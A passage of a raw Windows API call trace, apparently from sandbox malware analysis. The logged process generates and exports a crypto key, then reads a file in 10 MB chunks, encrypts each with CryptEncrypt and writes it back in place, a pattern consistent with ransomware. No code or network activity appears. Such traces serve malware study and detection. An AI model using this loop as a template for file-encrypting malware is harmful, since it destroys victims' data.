lpLastWriteTime=0x1a7fb60 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60*(dwLowDateTime=0xc96ff40, dwHighDateTime=0x1d301bf)) returned 1 [0208.120] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0208.120] CryptGenKey (in: hProv=0x81e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x1a7faa8 | out: phKey=0x1a7faa8*=0x829d78) returned 1 [0208.120] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x1a7faa4 | out: pbData=0x0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0208.120] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0xa21da0 [0208.120] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0208.120] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0xa21da0, pdwDataLen=0x1a7faa4 | out: pbData=0xa21da0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0208.123] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0208.123] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0208.123] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0208.123] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x0 [0208.123] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2340020 [0208.124] ReadFile (in: hFile=0x1c0, lpBuffer=0x2340020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0208.587] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0208.957] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2340020) returned 1 [0209.048] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2340020 [0209.048] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0209.402] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0209.490] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0209.614] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0209.614] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0209.986] FlushFileBuffers (hFile=0x1c0) returned 1 [0210.239] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0xa00000 [0210.244] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0210.246] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0210.574] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0210.834] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0210.895] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x3760020) returned 1 [0210.945] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0211.027] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=10485760, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0xa00000 [0211.027] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0211.169] FlushFileBuffers (hFile=0x1c0) returned 1 [0211.546] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x1400000 [0211.546] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0211.546] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0212.109] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0212.358] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0212.410] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x3760020) returned 1 [0212.472] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0212.563] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=20971520, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x1400000 [0212.563] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0212.726] FlushFileBuffers (hFile=0x1c0) returned 1 [0212.934] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x1e00000 [0212.939] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0212.940] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0213.442] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0213.759] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0213.847] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x3760020) returned 1 [0213.912] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0214.048] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=31457280, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x1e00000 [0214.048] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0214.246] FlushFileBuffers (hFile=0x1c0) returned 1 [0214.624] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x2800000 [0214.625] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0214.625] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0215.104] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0215.344] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0215.437] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x3760020) returned 1 [0215.527] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0215.693] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=41943040, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x2800000 [0215.693] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0215.899] FlushFileBuffers (hFile=0x1c0) returned 1 [0216.113] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x3200000 [0216.113] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0216.113] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0216.506] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0216.755] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0216.848] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x3760020) returned 1 [0216.980] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0217.107] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=52428800, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x3200000 [0217.107] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0217.319] FlushFileBuffers (hFile=0x1c0) returned 1 [0217.555] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x3c00000 [0217.555] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0217.565] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0218.186] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0218.655] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0218.814] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=62914560, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x3c00000 [0218.814] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0218.946] FlushFileBuffers (hFile=0x1c0) returned 1 [0219.091] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x4600000 [0219.091] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0219.091] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0219.518] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0220.001] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0220.086] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=73400320, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x4600000 [0220.087] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0220.221] FlushFileBuffers (hFile=0x1c0) returned 1 [0220.565] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x5000000 [0220.565] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0220.565] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0221.015] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0221.388] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0221.487] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=83886080, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x5000000 [0221.488] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0221.629] FlushFileBuffers (hFile=0x1c0) returned 1 [0221.939] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x5a00000 [0221.940] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0221.940] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0222.826] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0223.492] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0223.628] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=94371840, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x5a00000 [0223.629] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0223.881] FlushFileBuffers (hFile=0x1c0) returned 1 [0224.076] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x6400000 [0224.076] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0224.077] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0224.492] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0224.907] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0225.130] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=104857600, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x6400000 [0225.130] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0225.307] FlushFileBuffers (hFile=0x1c0) returned 1 [0225.446] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x6e00000 [0225.446] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0225.446] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0225.887] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0226.510] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0226.685] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=115343360, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x6e00000 [0226.685] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0226.992] FlushFileBuffers (hFile=0x1c0) returned 1 [0227.313] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x7800000 [0227.313] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0227.313] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0227.780] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0228.164] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0228.281] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=125829120, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x7800000 [0228.281] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0228.517] FlushFileBuffers (hFile=0x1c0) returned 1 [0228.882] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x8200000 [0228.883] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0228.883] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0229.605] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0230.291] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0230.415] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=136314880, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x8200000 [0230.415] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0230.666] FlushFileBuffers (hFile=0x1c0) returned 1 [0230.964] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x8c00000 [0230.964] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0230.964] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0231.341] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0231.654] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0231.814] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=146800640, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x8c00000 [0231.814] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0231.977] FlushFileBuffers (hFile=0x1c0) returned 1 [0232.181] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x9600000 [0232.182] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0232.182] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0232.767] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0233.197] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0233.341] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=157286400, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x9600000 [0233.341] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0233.519] FlushFileBuffers (hFile=0x1c0) returned 1 [0233.716] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0xa000000 [0233.716] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0233.716] 